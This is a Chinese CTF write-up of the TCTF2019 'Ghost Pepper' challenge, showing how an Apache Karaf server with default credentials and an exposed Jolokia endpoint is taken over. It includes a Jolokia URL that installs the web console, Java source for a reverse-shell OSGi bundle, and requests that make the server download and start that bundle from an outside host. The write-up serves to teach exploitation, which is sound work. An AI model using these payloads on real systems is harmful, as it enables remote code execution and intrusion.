本次writeup,纯属复现 : )
0x01 Ghost Pepper
题目地址
访问题目,提示该站点是Karaf,需要输入用户名和密码:
Karaf是一个基于OSGi的框架,而OSGi是一个Java平台,允许在运行时管理应用程序组件的生命周期,而无需重新启动应用程序。我们可以在应用程序运行时在运行时添加/删除/替换组件,部署多个版本等。Karaf框架中的用户名和密码默认均为karaf,输入进去后是个404页面:
页面显示是使用Jetty作为Web服务器的,除此之外没找到更多的信息。
搜一下题目Ghost pepper,在Wiki百科发现其别名为Bhut jolokia,然后再搜索一遍Bhut jolokia,发现Jolokia是一个JMX-HTTP桥接器,可替代JSR-160连接器。它是一种基于代理的方法,支持许多平台。除了基本的JMX操作之外,它还通过批量请求和细粒度安全策略等独特功能增强了JMX远程处理功能。
那就是说,该站点应该支持Jolokia,访问一下该路径看看,果然返回了Json格式的数据:
访问list,列出Jolokia所支持的所有操作:
这里只列下前面的Java类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| java.util.logging org.eclipse.jetty.server.session org.ops4j.pax.web.service.jetty.internal org.eclipse.jetty.jmx osgi.compendium java.nio org.apache.karaf JMImplementation org.eclipse.jetty.util.thread java.lang com.sun.management jmx4perl connector sun.nio.ch org.eclipse.jetty.server org.apache.aries.blueprint org.eclipse.jetty.io osgi.core jolokia
|
注意到org.apache.karaf这个类,就是说我们可以通过Karaf JMX执行各种操作。下面就来找下该karaf类所支持的所有方法:
其中可以看到很多操作命名为install,因此我们可以利用这些API来加载安装并部署我们直接编写的恶意jar程序。
下面有两种方法来解它。
Method1——安装WebConsole
Karaf框架是拥有一个WebConsole的,可以通过Web端进行控制台的交互,前面我们获取了org.apache.karaf的所有支持的方法,找到其中的installFeature(),编写如下安装WebConsole的payload:
1
| http://111.186.63.207:31337/jolokia/exec/org.apache.karaf:name=root,type=feature/installFeature(java.lang.String)/webconsole
|
然后在URL栏访问Karaf的WebConsole界面,直接输入命令即可得到flag:
1
| http://111.186.63.207:31337/system/console/gogo
|
Method2——安装恶意bundle
在之前的org.apache.karaf类中,还可以参考这篇文章通过install方法来进行利用。
除了该类外,还可以通过osgi.core的installBundleFromURL,这个方法可以通过URL来安装bundle,我们可以通过如下的方法找到该方法:
此时我们可以构造一个恶意bundle打包成jar放置在我们自己的服务器中,然后访问Karaf服务让其下载并安装部署我们的恶意bundle从而实现反弹shell:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| import org.osgi.framework.BundleActivator; import org.osgi.framework.BundleContext;
import java.io.*; import java.net.Socket;
public class Activator implements BundleActivator { public void start(BundleContext paramBundleContext) throws Exception { String str = "1.2.3.4"; int i = 12345;
Socket localSocket = new Socket(str, i);
localSocket.getOutputStream().write("Mi1k7ea".getBytes()); localSocket.getOutputStream().flush();
try { String ShellPath; ShellPath = new String("/bin/sh"); Socket socket = new Socket( str, i ); Process process = Runtime.getRuntime().exec( ShellPath ); ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start(); ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start(); process.waitFor(); } catch( Exception e ) {} localSocket.getOutputStream().write("Mi1k7ea".getBytes()); localSocket.getOutputStream().flush(); localSocket.close(); }
public void stop(BundleContext paramBundleContext) throws Exception { System.out.println("RIP"); } }
|
获取一下该类的uuid:
然后通过installBundleFromURL方法来下载安装恶意bundle:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| POST /jolokia/list HTTP/1.1 Host: 111.186.63.207:31337 Cache-Control: max-age=0 Authorization: Basic a2FyYWY6a2FyYWY= Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: JSESSIONID=h1fouerlv92j1nzj1rn7f4hyu Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0
{ "type": "exec", "mbean": "osgi.core:framework=org.eclipse.osgi,type=framework,uuid=089717e7-f953-42ec-959f-cd2488bc6482,version=1.7", "operation": "installBundleFromURL", "arguments": [ "moxiaoxi", "http://a.com:666/m7.jar" ] }
|
通过response的id,来启动bundle,就可以获得一个反弹shell:
1
| { "type": "exec", "mbean": "osgi.core:framework=org.eclipse.osgi,type=framework,version=1.7,uuid=089717e7-f953-42ec-959f-cd2488bc6482", "operation": "startBundle", "arguments": [ "93" ] }
|
0x02 Wallbreaker Easy
题目地址,已关闭。
环境待复现…
参考
TCTF2019 Web WP